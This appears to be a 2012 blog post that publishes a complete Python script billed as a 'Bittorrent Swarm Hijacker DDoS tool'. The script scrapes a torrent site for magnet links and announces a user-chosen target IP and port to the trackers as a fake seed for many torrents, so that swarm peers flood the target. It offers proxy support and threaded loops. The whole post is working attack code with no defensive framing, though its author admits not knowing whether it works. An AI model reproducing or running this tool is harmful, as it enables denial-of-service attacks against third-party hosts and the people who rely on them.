Sunday, November 4, 2012

SwarmDos.py

    #!/usr/bin/env python2.7
    #
    # bitDDoS.py
    #
    # Bittorrent Swarm ``DDoS Tool''
    # Injects target machine into large bittorent swarms
    #
    # no fucking idea if this works or not
    #
    from urllib import urlencode, unquote
    from urlparse import parse_qs
    import random, time, socket, threading, traceback, binascii, copy
     
    import requests # http://pypi.python.org/pypi/requests/0.14.1
    import hunnyb # http://pypi.python.org/pypi/HunnyB/0.1.0
    from bs4 import BeautifulSoup as BS # http://pypi.python.org/pypi/beautifulsoup4/4.1.3  
     
     
    class locking_dict:
        def __init__(self):
            self.data = dict()
            self._alock = threading.Lock()
     
       
        def __setitem__(self,k,v):
            self._alock.acquire()
            r = self.data[k]=v
            self._alock.release()
     
     
           
        def __getitem__(self,k):
            self._alock.acquire()
            r = None
            try:
                r = self.data[k]
            except:
                pass
            self._alock.release()
            return r
     
     
        def __delitem__(self,k):
            self._alock.acquire()
            try:
                del self.data[k]
            except:
                pass
            self._alock.release()
     
     
        def __contains__(self,i):
     
            r = self.data.__contains__(i)
     
            return r
     
     
        def __len__(self):
     
            r = len(self.data)
     
            return r
     
        def __iter__(self):
     
            r = self.data.__iter__()
     
            return r
     
     
        def __index__(self,i):
            r = self.data.__index__(i)
            return r
     
     
        def keys(self):
            r = self.data.keys()
            return r
     
     
     
       
     
    def _announce(ctx):
        """
       announce to trackers many "fake" seeds for many different torrents
       """
        qs = {
               'port':ctx['port'],
               'uploaded' : 0,
               'downloaded' : 0,
               'left':0,
               'event':'completed',
               }
        try:
            for tracker in copy.copy(ctx['trackers'].data):
                if tracker in ctx['blacklist']:
                    continue
                for ih in copy.copy(ctx['trackers'][tracker]):
                    if ih in ctx['bad_ih']:
                        continue
                    def f():
                        ctx['tries'] += 1
                        qs['info_hash'] = ih
                        qs['peer_id'] = ctx['peer_id']()
                        qs['ip'] = socket.gethostbyname(ctx['host'])
                        resp = ctx['get_url']('%s?%s'%(tracker,urlencode(qs)))
                        if resp is None:
     
                            return
                        try:
                            resp = ctx['decode'](resp)
                        except:
                            return
                        if 'failure reason' in resp:
                            ctx['error']('Tracker Announce Failed: %s'%resp['failure reason'])
                            return
                        elif 'warning message' in resp:
                            ctx['error']('Tracker Warning: %s'%resp['warning message'])
                            return
                        ctx['success'] += 1
     
                    ctx['fork'](f)
                    ctx['sleep'](.5)
        except:
            pass
     
     
     
     
    def _stats_loop(ctx):
        while ctx['on']:
            s = ctx['success']
            f = ctx['fails']
            a = ctx['tries']
            if f+s > 0:
                ctx['log']('%d / %d / %d  (%f %% success)'%(s,f,a,100*(float(s)/float(f+s))))
            ctx['sleep'](10)
           
     
     
    def _mainloop(ctx):
        """
       Mainloop
       """
        ctx['fork'](ctx['finder_loop'])
        ctx['fork'](ctx['stats_loop'])
        while ctx['on']:
            ctx['fork'](lambda : ctx['inject']())
            ctx['sleep'](60)
     
     
     
    def _log(ctx,m):
        ctx['log_lock'].acquire()
        m = str(m)
        for p in m.split('\n'):
            print ('[+] %s'%p.strip())
        ctx['log_lock'].release()
     
    def _error(ctx,m):
        ctx['log_lock'].acquire()
        m = str(m)
        for p in m.split('\n'):
            print ('[-] %s'%p.strip())
        ctx['log_lock'].release()
     
    def _fork(func):
        try:
            threading.Thread(target=func,args=()).start()
        except:
            ctx['print_error']()
     
     
    def _find_torrents(ctx,page_data):
        """
       given html, find all magnet links with at least 1 http based tracker announce url
       add new entries found to list to announce with
       """
     
        if page_data is None:
            ctx['error']('No Data given to torrent finder')
     
            return
        bs = BS(page_data)
        if bs is None:
            ctx['error']('Failed to Parse page data of length %d'%len(page_data))
     
            return
        for link in bs.find_all('a'):
            text = link.get('href')
            if text is None or len(text) == 0:
                continue
            if text.startswith('magnet:?xt=urn:btih:'):
                data = text.split(':')[3]
                for tracker in data.split('&')[2:]:
                    tracker = unquote(tracker.split('=')[1])
                    if not tracker.startswith('http://'):
                        continue
                    if tracker not in ctx['trackers']:
                        ctx['trackers'][tracker] = dict()
                    infohash = ctx['infohash_to_bytes'](data.split('&')[0])
                    if infohash not in ctx['trackers'][tracker]:
                        ctx['trackers'][tracker][infohash] = ''
     
     
    def _get_url(ctx,url):
        """
       Do an HTTP GET request with given a url
       """
        try:
            if not url.startswith('http://'):
                ctx['error']('%s is not an http url'%url)
                return
            if 'proxies' in ctx:
                resp = requests.get(url,proxies=ctx['proxies'],headers={'User-Agent':''})
            else:
                resp = requests.get(url,headers={'User-Agent':''})
            if resp is not None and resp.text is not None and resp.status_code == 200:
                return resp.text
            elif resp is not None and resp.status_code != 200:
                if not resp.status_code >= 500:
                    ctx['error']('HTTP %s'%resp.status_code)
        except:
            pass
        ctx['fails'] += 1
           
     
       
    def _finder_loop(ctx):
        while ctx['on']:
            ctx['scrape_torrents']()
            ctx['sleep'](3000)
     
    def _infohash_to_bytes(ih):
        ret = ''
        for n in range(len(ih)/2):
            ret+=binascii.a2b_hex(b'%s'%ih[n*2:(n*2)+2])
        return ret
     
    def _do_find_torrents(ctx):
        ctx['log']('Updating Torrent DB')
        ctx['blacklist'] = locking_dict()
        ctx['bad_ih'] = locking_dict()
        for url in ctx['urls']:
            ctx['fork'](lambda : ctx['find_torrents'](url))
            ctx['sleep'](1)
       
     
     
     
    def _rand(l,chars='1234567890'):
        ret = ''
        for n in range(l):
            ret += chars[random.randint(0,len(chars)-1)]
        return ret
     
    def init(ctx):
        ctx['on'] = True
        ctx['log'] = lambda m:  _log(ctx,m)
        ctx['error'] = lambda m: _error(ctx,m)
        ctx['log_lock'] =  threading.Lock()
        ctx['blacklist'] = locking_dict()
        ctx['trackers'] = locking_dict()
        ctx['bad_ih'] = locking_dict()
        ctx['success'] = 0
        ctx['tries'] = 0
        ctx['decode'] = hunnyb.decode
        ctx['finder_loop'] = lambda : _finder_loop(ctx)
        ctx['stats_loop'] = lambda : _stats_loop(ctx)
        ctx['infohash_to_bytes'] = _infohash_to_bytes
        ctx['peer_id'] = lambda : '-TR2720-%s'%_rand(12)
        ctx['inject'] = lambda : _announce(ctx)
        ctx['mainloop'] = lambda : _mainloop(ctx)
        ctx['get_url'] = lambda url : _get_url(ctx,url)
        ctx['scrape_torrents'] = lambda : _do_find_torrents(ctx)
        ctx['find_torrents'] = lambda url : _find_torrents(ctx,ctx['get_url'](url))
        ctx['print_error'] = lambda : ctx['error']('ERROR: %s'%traceback.format_exc())
        ctx['fork'] = _fork
        ctx['fails'] = 0
        ctx['sleep'] = time.sleep
        if 'proxies' in ctx:
            ctx['log']('Using Proxy: %s'%ctx['proxies']['http'])
        else:
            ctx['log']('!!! Using No Proxy !!!')
     
     
    if __name__ == '__main__':
        import argparse, sys, os
        p = argparse.ArgumentParser(description='Bittorrent Swarm Hijacker DDoS tool thingy')
        p.add_argument('--proxy',help='http proxy to use')
        p.add_argument('host',help='hostname or ip address of the target to attack')
        p.add_argument('port',help='tcp port to attack the target on')
        args = p.parse_args()
        if not hasattr(args,'host') or not hasattr(args,'port'):
            p.print_usage()
            sys.exit(0)
        urls = []
        for url in ['http://kat.ph/movies/','http://kat.ph/music/','http://kat.ph/anime/','http://kat.ph/books/' ]:
            for n in range(3):
                urls.append('%s%d/'%(url,n+1))
       
       
        ctx = {
            'host':args.host,
            'port':args.port,
            'urls':urls
            }
        if args.proxy is not None:
            ctx['proxies'] = {'http':args.proxy}
        init(ctx)
        try:
            ctx['mainloop']()
        except KeyboardInterrupt:
            ctx['log']('Interrupted')
            os.abort()
        except:
            ctx['print_error']()

1 comment: